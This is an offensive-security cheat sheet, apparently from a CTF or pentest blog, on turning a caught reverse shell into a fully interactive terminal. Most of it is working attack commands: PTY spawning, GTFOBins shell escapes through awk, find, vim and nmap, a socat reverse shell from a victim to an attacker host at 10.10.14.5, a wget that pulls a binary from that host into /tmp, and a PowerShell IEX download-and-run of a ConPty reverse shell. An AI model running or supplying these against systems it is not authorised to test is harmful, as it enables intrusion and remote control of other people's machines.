A reverse shell straight off nc -lvnp 4444 is a “dumb” shell. No tab completion, no arrow keys, no job control, no clear, vim, less, or sudo (it needs a TTY). Fix it in the first 30 seconds — before you start real work.
The Standard TTY Upgrade (Linux)
Three steps. Learn them cold.
Step 1 — Spawn a PTY inside the shell
python3 -c 'import pty;pty.spawn("/bin/bash")'Fallbacks when python isn’t there:
python -c 'import pty;pty.spawn("/bin/bash")' # python 2
/usr/bin/script -qc /bin/bash /dev/null # util-linux script
script -qc /bin/bash /dev/null
perl -e 'exec "/bin/bash";'Step 2 — Background and set your terminal raw
CTRL+Z
Now in your terminal (not the shell):
stty raw -echo; fgThen press Enter once or twice. The shell comes back; your terminal is raw.
Step 3 — Fix the environment
Back in the reverse shell:
export TERM=xterm
export SHELL=bash
stty rows 50 columns 200Size values should match your terminal — check locally with stty size first.
Now you have arrow keys, tab-complete, Ctrl+C, vim, less, sudo, and screen clears correctly.
Language-Based Spawning
If you land in /bin/sh and want /bin/bash, use whichever interpreter is installed:
| Language | Command |
|---|---|
| Python | python -c 'import pty; pty.spawn("/bin/bash")' |
| Perl | perl -e 'exec "/bin/sh";' |
| Ruby | ruby -e 'exec "/bin/sh"' |
| Lua | lua -e 'os.execute("/bin/sh")' |
System Tools That Spawn Shells
Classic SUID/GTFOBins territory — many standard utilities can drop you into /bin/sh:
# awk
awk 'BEGIN {system("/bin/sh")}'
# find
find . -exec /bin/sh \; -quit
# vim
vim -c ':!/bin/sh'
# or from inside vim
:!/bin/sh
# less / more — press !
!/bin/sh
# nmap (old versions)
nmap --interactive
!shSee GTFOBins for the full catalog.
Force an Interactive Shell
Sometimes /bin/sh runs but drops you at a wall. Force it:
/bin/sh -i
/bin/bash -iFully-Interactive Shells Without the Dance
socat
Skip the whole upgrade ritual — socat delivers a full PTY on first connect.
# listener (attacker)
socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:4444
# victim
socat TCP:10.10.14.5:4444 EXEC:"bash -li",pty,stderr,setsid,sigint,saneIf socat isn’t on the target, drop it in via your initial shell:
wget http://10.10.14.5:8000/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat TCP:10.10.14.5:4444 EXEC:"bash -li",pty,stderr,setsid,sigint,saneSSH
If you have credentials or a key, abandon the reverse shell entirely:
ssh user@targetSSH is a native PTY. No upgrades needed.
Windows “Interactive” Shells
Windows reverse shells are fundamentally worse than Linux ones — cmd.exe wasn’t designed for remote use. Minimum tools:
# wrap your listener with rlwrap for line editing
rlwrap nc -lvnp 4444For a real interactive experience, use Meterpreter → shell command — it handles TTY emulation on your side.
Or use ConPtyShell to get a fully-interactive PowerShell with resizing support:
IEX(IWR http://10.10.14.5:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing)
Invoke-ConPtyShell -RemoteIp 10.10.14.5 -RemotePort 4444 -Rows 50 -Cols 200On the attacker:
stty raw -echo; (stty size; cat) | nc -lvnp 4444Troubleshooting
| Symptom | Fix |
|---|---|
Terminal garbled after fg | You forgot stty raw -echo before fg |
clear prints junk | export TERM=xterm |
| Ctrl+C kills the shell | You skipped the stty raw -echo step |
Backspace echoes ^? | stty erase ^? or restart the upgrade |
| Can’t recover your terminal after disconnect | reset or stty sane locally |
Memorize the sequence
python3 -c 'import pty;pty.spawn("/bin/bash")'→CTRL+Z→stty raw -echo; fg→ Enter →export TERM=xterm. Do this every time.
